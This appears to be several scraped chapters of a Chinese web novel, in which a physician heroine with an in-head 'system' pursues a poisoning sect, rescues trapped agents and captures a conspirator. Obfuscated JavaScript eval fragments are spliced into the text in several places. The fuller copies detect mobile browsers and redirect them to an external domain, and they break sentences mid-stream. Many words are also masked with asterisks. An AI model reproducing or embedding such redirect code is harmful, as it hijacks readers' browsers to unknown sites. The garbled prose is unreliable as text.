但鬼谷门的恶毒程度,已经超出了她的想象,这已经不仅仅是医学上的不合了,而是**、**的行为了。 必须尽快把他们抓住,否则后患无穷。 祭海坛的毒雾在第二天中午的雨水冲刷中,才慢慢散去。 李梵娘指挥衙役和士兵们,戴着浸过药汁的口罩,穿着严实的衣物,用生石灰和清水对祭坛区域进行了清理和消毒。 那些作为黑色兽骨被小心挖出,集中焚烧埋起来。 经过一天一夜,那几名**较深的玄甲军终于脱离了生命危险,但身体上受损严重,需要很长一段时间调养才能缓过来。 虽然幽泉掌脉吹嘘的“大阵”效果被系统判定为夸大其词,但这次的事儿依旧造成了恶劣的影响和恐慌。 钱塘县令吓得几乎魂不附体,连连上书请罪。 李梵娘则一边继续处理疫情善后,一边将所有精力都投入到追查鬼谷门踪迹上。 祭坛现场除了焚烧痕迹和那些邪异的骨头,几乎没有留下任何属于鬼谷门人的个人物品。他们太过谨慎。 “系统,还能追踪到他们的去向吗?”李梵娘不甘心地问。 【唔…毒雾干扰太厉害。】系统有些懊恼,【不过嘛…本系统可不是吃素的。】 【我对那些黑色骨头上残留的毒素和符文进行了深度分析,发现了一些‘指纹’!】 【指纹?】李梵娘疑惑。 【就是独有特征啦!】系统解释道,【比如那毒素里某种稀有矿物的比例,而符文又存在一定的能量波动,就像每个人的指纹一样,是独一无二的!】 【只要他们还在别处使用类似的手段,我就能在一定范围内捕捉到这种信号。】 这无疑是个重大突破。 李梵娘立刻把系统的发现写信告诉杜仁绍,建议他赶紧让朝廷那边重点监控各地类似的异常矿物采购、或者偏僻的地方突然出现不明原因的动物大规模死亡及环境污染的情况。 同时,她也在钱塘县及周边地区加大了巡查力度,希望能在鬼谷门人彻底跑走前,找到一些蛛丝马迹。 功夫不负有心人。 三日后,一名在临近县跑商的货郎提供了一个重要线索:大约在疫情爆发前半个月,他曾见过几个穿着灰麻布袍、遮着脸面的人,在钱塘江上游一个叫“黑风涧”的险峻地方出没。 还雇了他的骡子驮运了几个大箱子,箱子里似乎装着石头和…很臭的东西? 黑风涧!大箱子!石头和臭东西! 李梵娘立刻意识到,那里很可能是鬼谷门的另一个据点。 她立刻把这里的情况告诉杜仁绍派来的驻军将领,吩咐他派兵去看看黑风涧。 他们在黑风涧一个山洞里,发现了一堆灰麻布碎片、刻字的工具、还有一些没来得及带走的黑色粉末和油脂。 更重要的是,他们在山洞深处,还找到了几页没有被烧毁的笔记残页。 笔记上的字迹潦草古怪,但李梵娘连蒙带猜,结合系统翻译,大概读懂了意思。 上面记录的是一些时间地点,以及“…引地煞之气,污龙脉之眼…”、“…俟京师大变,则各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,鬼谷门人像是人间蒸发了一样,一连好几天,毫无进展。 京城及周边都没有发现类似的毒物或符文,太过平静反而让人觉得不安。 暴风雨前的宁静,往往最让人害怕。 敌人在暗处,他们在明面,这样他们很被动,必须想办法引蛇出洞。 他又翻了翻李梵娘送来的鬼谷门的资料,包括那几页残缺的笔记。 笔记上反复提到那具冰封的古尸? 幽泉掌脉如此看重那具古尸,甚至不惜抬出来论道。 它应该不仅仅是“先祖”那么简单,很可能是鬼谷门某种邪术的成果,或者是他们的精神信仰。 笔记中提到的“京师大变”,会不会也与这尸体也有关? “或许…突破口就在那具尸体上。”杜仁绍眼中闪过精光。 他立刻调整策略,一方面维持明面上的排查。 另一方面,秘密让皇城司去调查与“前朝”、“冰尸”、“方士”等,尤其是那些鲜为人知的传说和秘闻。 同时,他又给李梵娘去信,询问她对于那具古尸,是否有更进一步的发现或猜测。 就在京城紧锣密鼓地暗中布防搜捕时,江南的钱塘疫情,在李梵娘的全力救治和后续的环境清理下,终于宣告结束。 百姓们逐渐从恐慌中缓过来,开始重建家园。 李梵娘归心似箭,将后续的工作交给刘二柱和当地官员,准备尽快返回京城。 鬼谷门的一系列操作,让她根本不能安心留在江南。 然而,就在她出发的前一晚,一个意想不到的人,来了她的临时住所。 来人是一个中年文士,穿着普通,但气质儒雅,眼神精明。 他见到李梵娘,先是恭敬地行了礼,递上令牌和一张礼单。 “小人是扬州四海商行的管事,奉我们东家命令,特来拜访以及答谢医仙娘娘救治江南百姓的恩情,这是一点小礼物,不成敬意。” “另外…东家听说娘娘对古物颇有研究,恰好我们行最近收到一个很奇怪的物件,没有人认识,所以想请娘娘顺路去扬州看一下,或许…和娘娘正在追查的事情,有关联?” 李梵娘微微一怔,那枚令牌是之前北狄商道开通时,杜仁绍发给几家大商行的通行凭证。 而礼单上,除了金银绸缎,竟然还有几株罕见的药材。 不过让她更在意的是那管事的话…“奇怪的物件”?“没有人认识”?“与追查的事情有关”? 四海商行…扬州…奇怪…李梵娘心中一动。 鬼谷门的线索前脚在京城断了,后脚扬州就突然冒出个可能是线索的的东西? 这未免也太巧了吧。 是陷阱? 还是…真的柳暗花明? 她看着管事,心中闪过无数念头。 四海商行是江北最大的商行之一,与朝廷、北狄商道都有合作,背景相对明了。 但鬼谷门诡计多端,用商行做幌子也不是完全没可能。 “东家有心了。”李梵娘神色平静,没有立刻答应下来。 “救治百姓是我们医者的本分,谢礼就不必了。至于鉴宝…我还有公务在身,需要立刻返京,恐怕不是很方便。” 那管事似乎料到她会推辞,笑容不变,恭敬的继续说:“娘娘心善仁慈,我们东家佩服。只是…那物件确实非同一般,似金非金,似玉非玉,坚硬无比,上面还有些…像是古老文字的刻痕。” “东家请了很多名家,都没有办法辩识。想着娘娘见多识广,又编写了医书,或许能解惑。” “东家说,这个物件或许和某些…秘闻有关,对娘娘正在查证的事,能提供一些线索也是有可能的。” “上古文字?秘闻?”李梵娘心中更警惕。 对方似乎在刻意往她感兴趣的方向引导。 “系统,”她在心中低呼,“这人话真假。” 【这人没练过武,这人也不像个危险分子,更像是个传话的。】系统快速分析。 不是鬼谷门人? 李梵娘沉吟片刻。 对方以礼相邀,话说到这个份上,若断然拒绝,反而显得心虚,也可能错过重要的线索。 但若是陷阱… 她看了一眼旁边的王猛。 王猛微微点头,示意护卫已经就位,安全也有保障。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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西南深山? 炸山得到的? 这个来源听起来还算。 “这个东西确实古老,上面的文字也特别罕见。”李梵娘斟酌着说,“但他的具体用途和含义,我也难以断定。或许…是某个古族的祭祀用的礼器残片吧。” 她并没有说出系统分析的具体信息。 管事有些失望,但很快又掩饰过去:“原来是这样…多谢娘娘的指点,既然娘娘也看不出来,那就算了。” “东家说了,要是娘娘喜欢,这个东西便送给娘娘,表示谢意。” “不用。”李梵娘立刻拒绝,“无功不受禄。没有其他事的话,我先告辞了。” 她起身就走,不管这是不是陷阱,但就这个青铜残片目前看来,与鬼谷门直接关联不大,她可不想节外生枝。 管事见状,也不能强留,只是恭敬地将李梵娘送出货栈。 回到住处,李梵娘将情况告诉了王猛和刘二柱。 “西南深山…古洞…祭祀…”王猛想了想,“听起来好像和鬼谷门那套确实不太一样。夫人,您觉得…” “目前看来,像个巧合。”李梵娘说着,“但四海商行突然找上门来,还是显得有些突然。我们不可不防。明日按计划返京,沿途一定要多加小心。” 她总觉得,这件事似乎没那么简单结束。 翌日清晨,李梵娘一行人准时出发,北上回京。 车队离开钱塘县,一路倒也平静。 然而,当天下午,走到一处名为落鹰峡的地方时,意外发生了。 落鹰峡两侧山高林子又密,官道从中间穿过去,地势险要,是强盗土匪经常出没的地方。 王猛早就提醒队伍要提高警惕。 就在车队走到峡谷中段时,前面探路的斥候突然发出警哨声。 紧接着,便是交战声。 “有埋伏!保护夫人!”王猛赶紧拔刀。 话音未落,两侧的山林中突然射出数量很大的箭矢。 箭矢力道很大,带着破空声,瞬间将车队笼罩。 “盾牌!”玄甲军反应极快,迅速举起随身携带的圆盾,护住李梵娘所在的马车和她。 但仍有几名外围的医工和士兵中箭倒地。 箭矢过后,数十名黑衣蒙面人从林子里出来,一言不发,挥着刀杀向车队。 这些人身手矫健,刀法狠辣,根本就不是普通山匪。 “结阵!迎敌!”王猛率领玄甲军将马车护在中心,与黑衣人厮杀在一起。 一时间,峡谷内刀光剑影。 李梵娘坐在车内,听着外面激烈的打斗声、惨叫声和兵刃碰撞声。 她心跳加速,强行保持镇定,迅速从空间里拿出麻醉针和止血粉,做好准备。 “系统,扫描袭击的人!” 【宿主大大,这些人受过训练,不是土匪头子。】 可能是死士? 战斗激烈。 玄甲军的人数处于劣势,又要分心保护马车和医者,一时陷入苦战。 不断有士兵受伤倒下。 王猛一刀劈一个,“你们是什么人?敢袭击朝廷命官!” 没人回答,攻击反而更疯狂了。 李梵娘看到一个玄甲军的肩膀被砍伤,眼看就要被补刀。 她顾不得危险,一把推开车窗,把手里的麻醉剂扔了出去。 那黑衣人正准备下**,忽然觉得脖子一麻,浑身力气消失,直接倒在地上。 李梵娘一看效果不错,干脆朝那些黑衣人不停的丢麻醉剂,分散了部分压力。 “夫人小心!”王猛看到李梵娘暴露,差点儿吓死。 就在这时,一名黑衣人似乎看出了李梵娘的重要性,摆脱周围人的纠缠,直直扑向马车,手里的短刀直刺李梵娘面门。 速度太快了,王猛又被人缠住,根本来不及。 眼看李梵娘就要被刺中。 “咻——!” 一支**箭从侧后方的树林里射出,穿透了那黑衣人的手腕。 “啊!”黑衣人惨叫一声,短刃脱手飞出。 紧接着,又是数支**箭射出,将逼近马车的黑衣人解决掉。 突如其来的援兵让交战双方都愣了一下。 只见山林中,冲出十几个穿着褐色劲装、手持**箭的汉子。 **箭指哪打哪,瞬间就将黑衣人的攻势压了下去。 “是…皇城司的人!”王猛眼尖,看到了对方衣角的标记,又惊又喜。 皇城司,他们怎么会出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李梵娘的心猛地揪紧:“什么麻烦?仁绍他怎么样了?” “国公爷无恙!”沈追连忙说着,“国公爷是坐镇指挥,并没有亲自进去,是皇城司的探子先摸进去的,结果进去后就失去了联系。” “里面情况不清楚,但肯定有厉害的机关或者是毒物,国公爷已经调派更多的人手将那地方围住,但投鼠忌器,不敢强攻,正在想办法。” 这确实是鬼谷门的风格。 杜仁绍虽然没有以身犯险,但被困的是他的部下,他肯定心急如焚。 李梵娘觉得自己必须尽快赶回去。 “沈千户,此地不宜久留,立刻返京” “是!”沈追和王猛齐声应道。 所有人迅速行动起来。 死者的遗体被妥善安置,等待后续处理。 重伤员由轻伤员和医工照顾,乘坐马车。 其余人全部骑马,护送李梵娘以最快的速度往京城赶。 一路上,李梵娘心急如焚,不停的催促再快些。 她能想象到杜仁绍心急如焚的样子。 那些被困的皇城司探子,多耽搁一分钟,就多一分危险。 系统也察觉到自家宿主的焦虑,出声安慰。 【宿主大大别太担心,杜国公是**湖了,稳重得很,他不会乱来的。】 【既然他围着不动手,就是在等时机,或者等援手。咱们尽快赶回去就是!】 “我知道…”李梵娘嘴上回应着,眉头依旧皱着,“我只是怕…鬼谷门……” 日夜兼程。 一连几天,李梵娘一行人人困马乏,但没有一个人喊累。 刚到城门口,早就接到消息的杜仁绍的心腹便迎了上来,低声道:“夫人!国公爷让您直接去城南永平坊!情况…不太好!” 李梵娘二话不说,打马便跟着亲卫往永平坊赶。 永平坊是京城南城一个相对偏僻的坊市,多是小手工业者和普通百姓居住。 此刻坊内一条小巷已被大批便衣玄甲军和皇城司的人秘密封锁,气氛紧张得让人窒息。 杜仁绍一身常服站在巷口茶铺的屋檐下,眼底带着血丝,显然已经在这里守了很长时间。 看到李梵娘赶来,大步迎了上去。 “梵娘!你总算回来了!”他一把抓住她的手,力道有些大,声音带着急切和后怕,“你没事吧?” “我没事。”李梵娘反手握住他,“里面情况怎么样?仔细跟我说说!” 杜仁绍深吸一口气,语速极快。 “看着是一个普通民宅我们的人跟踪一个可疑的药商到了这里,确认是鬼谷门的一个联络点。” “一队七个好手都进去了,不到一炷香就都没了,我们用活物试过,门口没事,但再往里…扔进去的狗没多久就抽**,**还发黑。” “不敢再派人进去,也用烟熏过,但是里面应该有特殊的通风口,所以没什么效果。” “所以我们判断出里面有毒气和机关。”杜仁绍脸色难看,“我们的人…恐怕凶多吉少。” “但活要见人,死要见尸,必须把他们带出来,而且里面很可能有鬼谷门的线索!” 李梵娘看着紧闭的门,强迫自己冷静下来。 “带我过去看看。” “不行!太危险!”杜仁绍立刻反对。 “我有分寸,不进去就在门口。”李梵娘坚持,“我必须知道是什么毒,才能想办法破解。” 杜仁绍知道她的能力和性子,“好,我陪你过去,所有人戒备!” 两人小心靠近那宅院的大门。 门缝里透出一股甜腻又腥气的味道。 “系统,分析下这是什么味道。”李梵娘屏住呼吸。 【宿主大大,门后面有七个快死的人,空气里就是烈性毒,呼吸和接触都有可能**。】 【我勒个去,这是人吗?地下有**和毒烟的陷阱,墙上还有**。】系统忍不住爆了粗口。 好消息是人还活着,坏消息是快不行了。 “人还活着,里面的毒很厉害,而且混合了致幻物,各种陷阱也不少”李梵娘看着杜仁绍,“得赶紧救人,但是直接冲进去就是送人头。” 杜仁绍眼睛瞬间红了,但随即又被无力感笼罩。 这怎么救? 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430531|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿主,东西我都有,前提是得有个不怕死技术好的人穿着进去捞人!】 不怕死,技术好…这里除了她有外挂,谁能避开那些要命的机关? “仁绍,”李梵娘深吸一口气,“我有办法进去救人” 杜仁绍听到李梵娘说要进去,第一反应就是死死抓住她的胳膊。 “不行!绝对不行!我去!我带人冲进去!” “你进去有什么用?”李梵娘又气又急,“里面的毒气和机关你看得见吗?” “你知道哪块地砖不能踩吗?你知道哪个梁柱不能碰吗?你瞎冲进去,不但救不了人,你自己也得搭进去!” 杜仁绍被怼得无话可说,额角青筋暴起。 让他看着自己的妻子冲进去,他怎么忍心啊? “相信我,仁绍!”李梵娘放软了语气,“我有特殊的方法能‘看’到里面的危险,只有我进去,才有希望把他们活着带出来。” “你就在外面接应我,相信我好吗?” 里面的人等不起。 杜仁绍无奈,从牙缝里挤出两个字:“小心!” 他转向周围所有将士,“所有人听着,从现在起一切行动,完全听夫人指挥,违令者斩!” “是!”众人虽然疑惑,但还是选择遵守。 李梵娘不再耽搁,立刻借口需要准备,钻进旁边临时征用的屋子里,从空间里拿需要用到的东西。 片刻后她走了出来,一身怪异的防护服,手里拎着一个装满解毒剂的口袋。 众人虽然惊奇,但没有人敢多问。 “王猛,沈追,你们选四个身手好的弟兄,换上厚底靴,用浸湿的布蒙住口鼻,跟在夫人身后五步外。” “夫人让你们前进就前进,让你们停就立刻停,绝对不许碰任何东西。”杜仁绍红着眼睛下令。 “是!” 李梵娘深吸一口气,走到门前。 杜仁绍上前一脚踹开房门。 那股腥臭味儿隔着防护服都能闻到。 “系统,导航。” 【直行三步,避不要踩左边的地砖。】 李梵娘抬脚往进走。 第一百九十八章 救人 光线昏暗,地上的七人脸色青黑。 屋内陈设简单,却处处透着诡异。 她按照系统的指示,躲开危险。 跟在她身后的王猛几人,看得心惊肉跳,紧跟着她不敢眨眼。 【右转,靠墙走,头顶横梁有松动。】 【前面有问题,绕开。】 【哎对对对,右手花瓶是机关别碰。】 几人有惊无险地穿过外厅,走到那几人身边。 “快给他们打解毒剂。”李梵娘把药递给王猛等人,告诉他们怎么打。 【宿主大大,左边第三个心跳快停了。】 李梵娘先给他打了药。 【宿主,还有一刻钟。】 众人以最快的速度给所有探子打了解毒剂。 一些探子抽搐减轻,面色也好转了一点点。 “把人背起来原路返回!快!” 王猛等人立刻背起抱起昏迷的同伴,沿着来时的路快往外跑。 李梵娘断后,一边后退,一边留意着系统。 【快快快,左边房梁快断了】 就在最后一个人要踏跑出去的瞬间。 “咔嚓——!” 横梁断了,带着大片瓦砾和灰尘砸下去,正好堵了大部分出口。 “夫人!”杜仁绍着急的就要往里冲。 “别进来!”李梵娘赶紧出声制止,她被碎瓦砸中了肩膀,幸好防护服够厚,没什么事,但门口已经出不去了。 【厨房那里有一条通风道!了,通后院!】系统看的着急。 “跟我来!这边!”李梵娘带着人转身冲向厨房。 果然灶台后面有一个通风口。 “把他先递出去!你们也走!”李梵娘指挥着。 两名士兵将伤员塞出通风口,然后自己也爬了出去。 李梵娘最后一个钻出去。 她刚从破洞钻出来就被守在外面的杜仁绍一把搂进怀里,紧的她快要喘不过气。 “没事了…没事了…”李梵娘轻轻拍着他的背安慰,“人都救出来了…” 过了好一会儿,杜仁绍才松开她,“下次…绝不能再如此涉险!” “嗯。”李梵娘乖乖点头,知道这次是真的吓到他了。 被救出的人陆续恢复了呼吸,虽然还在昏迷,但总算保住了性命。 所有人都对李梵娘感激涕零。 经过这件事,鬼谷门联络点被被杜仁绍下令一把火烧了。 虽然线索大多被损毁,但皇城司还是在一个黑衣人身上找到了线索。 杜仁绍拿着布条,脸色阴沉地找到正顾伤员的李梵娘。 “梵娘,你看这个…”他将布条递过去。 李梵娘接过布条,看到上面暗纹……这个图案? 李梵娘瞳孔一缩。 “这图案…”李梵娘抬头看向杜仁绍,语气凝重,“和扬州四海商行管事让我看的物件,还有途中截杀我们的那个头目身上的银牌,图案一样。” 杜仁绍的脸色变得更难看,“四海商行…途中截杀…鬼谷门的联络点…” “他们到底是谁?”李梵娘感到一阵后怕。 “是鬼谷门的外围组织?还是…另一个与鬼谷门勾结,或者利用鬼谷门的势力?” 杜仁绍沉吟片刻,“鬼谷门行事诡秘阴毒,更像藏在暗处的蛇,而这个‘云山亭’,能调动四海商行,培养死士…倒像一个利益共同体,或者联盟?” 他想到了之前沈追提到的说法。 “江南…”李梵娘也想起了这一点,“四海商行总部在扬州,这次疫情和邪术也是在江南…这个‘云山亭’,很可能就在江南。” “看来,我们必须好好查一查江南那些盘根错节的世家大族了。”杜仁绍语气森然,“特别是那些有钱,又有养死士传统,在前朝曾经显赫过的家族。” 这条线索,一下子将调查的重心,从鬼谷门转向了江南世家。 “此事需要立刻禀报陛下。”杜仁绍道,“涉及世家,牵一发而动全身,需要陛下出手。” 两人正准备离开帐子,一个探子匆匆赶来,对沈追耳语了几句。 沈追快步走到杜仁绍身边,“国公爷,我们派去监视四海商行京城分号的人来信儿了…分号大掌柜…” “一个时辰前,在家中暴毙,表面看是突发心疾,但…我们的人发现他脖子上有**。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430532|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜仁绍和李梵娘对视一眼。 对方反应太快了,他们刚刚抓到一点“云山亭”的尾巴,对方就立刻出手。 “江南…看来问题还是在江南。”杜仁绍沉声道。 皇宫,御书房。 李睿听完了杜仁绍的话,看着布条和银牌,脸色阴沉得能滴出水来。 “云山亭…江南世家…”李睿轻轻敲着御案,“朕登基之初,便知江南赋税重地,世家林立,盘根错节,尾大不掉。” “却没想到,竟有人包藏祸心,勾结前朝余孽,行此逆天邪术,意图动摇谋朝篡位!” “陛下,”杜仁绍躬身,“鬼谷门虽恶,但更像是被人利用。” “这‘云山亭’根基在江南,势力庞大,警觉性高。京城的线索已经断了,若要查下去,恐怕需要派人亲自去江南。” 李睿沉默片刻。 “爱卿所言极是。但是这件事关系重大,牵涉无数。若没有真凭实据,贸然动手,恐怕会引起江南动荡,正中下怀。” 他站起身,踱步到窗前。 良久才开口,“查,一定要查,但不能明着查,朕给你密旨,能够调动江南各州府驻军和皇城司所有人。” “暗中调查与‘云山亭’相关的一切世家、商行、田庄、矿脉,但切记,再没有证据之前,绝对不可打草惊蛇。” “遵旨。”杜仁绍知道,皇帝的决定是稳妥的。 对付这种隐藏极深的庞然大物,必须一击毙命,否则后患无穷。 “李夫人此次又立大功了,”李睿看向李梵娘,语气缓和了些,“抗疫、救人,真是朕的福星。” “朕稍后命人把赏赐送到府上。夫人好生休养,追查的事情,让仁绍先去安排。” “谢陛下关心,这是臣妇的本分。”李梵娘谢恩。 两人回到府上,春儿和玉萝早已等候多时。 看到两人平安归来,两个小姑娘立刻扑了上来。 “爹!娘!你们可回来了!听说城南**了?还着大火了?吓死春儿了!”春儿抱着李梵娘的腿,眼里满是担忧。 玉萝虽然稳重些,但也红了眼圈,“师父,您没事吧?我们都担心**。” 第一百九十九章 陷阱 看着两个小家伙担忧的模样,李梵娘和杜仁绍心中都是一软。 “没事没事,就是处理了一个小事情。”李梵娘抱起春儿轻声安慰,“爹和娘这不是好好的回来了吗?” 杜仁绍也摸了摸玉萝的头,“让你们担心了,都过去了。” 一家人聚在一起,难得吃了顿安稳饭。 吃饭期间,李梵娘和杜仁绍都刻意避开那些话题,只问些春儿和玉萝的功课和遇到的趣事。 然而,树欲静而风不止。 第二天清晨,杜仁绍正准备着手安排江南的事宜,宫中却突来人说陛下有要事商量,让他现在就入宫。 杜仁绍匆匆赶到御书房,却发现气氛微妙。 除了皇帝,内阁首辅、户部尚书等几位重臣也都在,个个面色凝重。 “镇国公来了。”李睿示意他平身,将一份奏折递给他。 “爱卿先看看吧,这是江南道监察御史联名上奏的折子。” 杜仁绍接过奏折,快速看了一遍,越看眉头皱得越紧。 奏折内容洋洋洒洒,先是**,赞扬陛下仁德医仙娘娘功高。 但笔锋一转,便开始隐晦地说近期朝廷对江南的过度关注,说什么害怕影响民生、商人不安,害怕对纳税有影响。 甚至说有人借查案的名义,开始揽权,破坏朝廷与江南的和睦,最后恳请陛下明察秋毫,以安天下。 这奏折处处为国为民,实际上字字句句都在针对江南的调查。 杜仁绍心里那个气呀,却不动声色的合上奏折。 “陛下,江南是赋税重地,关心则乱,御史们所言,亦是老成持国之论。” “然而非常时期,非常手段,若是纵容这些人,恐怕会影响到整个社稷。” 首辅叹了口气。 “国公爷说的确实有理。但是江南局势复杂,牵一发而动全身。” “如今北狄商道刚刚开始,朝廷实在不宜在江南再起是非,是否暂缓清查,以国家稳定为主?” 户部尚书也附和着,“首辅大人所言极是。今年江南的春税尚没有完全入库,若是此时引得江南巨贾世家动荡,恐怕会影响税银…” 杜仁绍看着这两位重臣,心中冷笑。 他们是真的为国担忧,还是也人与那“云山亭”有联系,在试探或者施压? 李睿一片平静,手指轻敲御案看不出喜怒。 他目光扫过众人,最后落在杜仁绍身上。 “镇国公,”李睿缓缓开口,“你的意思朕明白了,首辅和户部的担忧也有道理。” 他停顿了一下。 “查还是要查的,但就如朕昨天说的,动静小手脚干净,朕相信,只要查得清楚办得公正,魑魅魍魉会现出原形,而安分守己的百姓自然不会受到惊扰。” 皇帝的态度坚决,但也给朝臣们一个台阶下。 杜仁绍弯腰,“臣,明白,定不负陛下所托。” 首辅和户部尚书对视一眼,也不再多说。 就在杜仁绍领命告退,准备离开皇宫时,一个小太监悄悄塞给他一张纸条。 杜仁绍不动声色地收起,回到马车上才展开。 纸条上只有一行小字:“今夜子时,西山红叶亭,故人相候,有‘云山’秘事相告。” 杜仁绍捏着纸条,几乎要将纸条捻破。 “西山红叶亭…故人…‘云山’秘事…” 几乎可以肯定这是个陷阱。 但他不想放弃…… 即便只有万分之一的可能是真,他也必须去闯一闯。 更何况,对方选择在京城之外的西山,而非更利于埋伏的城内,似乎不想立刻撕破脸。 他回到府中,将纸条递给李梵娘,“你怎么看?” 李梵娘看完,眉头紧锁:“这分明就是请君入瓮,‘故人’?你在西山有什么故人?” 杜仁绍冷笑:“战场上你死我活的‘故人’倒有几个,根本不在阳间,用不着这种见。” “这个人应该和‘云山亭’相关的人,而且地位不低,否则不敢擅自用‘云山’二字来约我。” “那你还去?” “去,为什么不去?”杜仁绍眼神闪烁,“正好看看他们到底想玩什么把戏,也掂掂这‘云山亭’的分量。” “我跟你一起去!” “不行!”杜仁绍直接拒绝,“太危险,你留在府里,万一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432400|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我有不测…” “正因为危险我才更要去。”李梵娘坚持。 “若是有什么突发状况,我在旁边照应着,或许还能帮上忙,别忘了我对毒物和机关比你更了解。” 她顿了顿,声音压低,“而且,我能提前发现埋伏。” 杜仁绍一听这话,知道拗不过她,也知道她说得有理。 过了一会儿。 “好!但你必须在远处乖乖呆着,不可以靠近,让沈追带**手布控,王猛带人贴身护卫我。若是有什么异动,以你的安全为主。” 是夜子时,西山红叶亭。 杜仁绍一身劲装按着腰刀,独自一人走上亭子。 王猛带人躲在不远处的树林中,屏息凝神。 沈追则带着**手早就占据了各个制高点。 李梵娘则藏在更后方的山后。 “系统,给我扫一下。” 【亭子里有一人,没有武器。周围埋伏二十八人,无重武器。】 【嗯?等等…宿主,亭子底下…埋了东西,是…迷烟?机关在亭子石桌。】 果然有埋伏。 不过……对方想活捉杜仁绍? 杜仁绍刚走进亭子,只见亭内背对他站着一名披着黑色斗篷的身影,身形略显消瘦。 “阁下约杜某前来,究竟要做什么?”杜仁绍停下脚步。 那人缓缓转过身,斗篷兜帽下,是一张带着书卷气的中年文士的脸。 杜仁绍瞳孔一缩。 这人竟然是几年前因党争被贬出京的翰林院编修,他名叫柳文渊。 他什么时候回了京城? 又怎么和“云山亭”扯上关系? “镇国公,别来无恙啊。”柳文渊笑得有些僵硬。 “冒昧邀请你来,实在是无奈。因为国公爷最近查……已经触动根本,有人…坐不住了。” “哦?查什么事?触动谁的根本?”杜仁绍不动声色。 “明人不说暗话。”柳文渊压低声音,“‘云山亭’并非铁板一块。有人利欲熏心,与鬼谷邪徒狼狈为奸。” “我们不愿看到这百年基业毁于一旦,他们特意派我来向国公爷陈情。” 第二百章 招了 “陈情?”杜仁绍挑眉,“怎么个陈情法?” “只要国公爷答应,对此事到此为止,不再深究江南。‘云山亭’愿奉上黄金十万两,江南良田千顷,并…确保杜家与李家,世代富贵,无人可动。”柳文渊说着,眼中却闪过一丝不易察觉的紧张。 这是威胁到他头上了? 想用钱买平安? 杜仁绍心中冷笑,面上却故作沉吟:“听起来不错。但空口无凭…” “凭证在这里。”柳文渊从袖中取出一本册子。 “这是我们与鬼谷门资金的往来、以及部分参与人员的名单。只要国公爷点头,这便是定金。” 他上前一步,似乎要将册子递给杜仁绍。 就在此时。 【宿主!他要踩机关了!】系统看这一幕,急的赶紧叫。 几乎同时,杜仁绍也看到柳文渊的脚悄悄挪向石桌下的某块地砖。 “动手!”杜仁绍猛地向后退。 柳文渊脸色一变,一脚踩下机关。 噗嗤!噗嗤! 亭子四周地面猛地喷出大量白烟,瞬间笼罩了整个亭子。 但杜仁绍退得特别快,并没有被烟雾完全笼罩。 王猛等人也从林子里杀出来,直直扑向那些埋伏的**手。 远处的李梵娘急忙喊着,“烟雾没有毒,是迷烟和催泪烟,屏住呼吸即可!” 杜仁绍闻言,放心了不少,拔出腰刀,冷眼看着被烟雾呛到,满眼惊慌失措的柳文渊。 “这就是你们的‘诚意’?” 柳文渊见计划败露,面露绝望,一咬牙。 杜仁绍眼疾手快,一步上前捏住他的下巴,卸了他的下巴关节,防止他服毒自尽。 “带走!” 这次谈话以对方的失败告终。只是抓到的这条鱼,分量似乎并不够重。 镇国公府地下密室。 柳文渊的下巴被接上,面色灰败的坐在椅子上,再无之前那股冷静劲儿。 杜仁绍和李梵娘坐在他对面。 “柳文渊,说说吧。”杜仁绍声音冰冷,“谁指使你的?真正的‘云山亭’到底是谁?你们到底想干什么?” 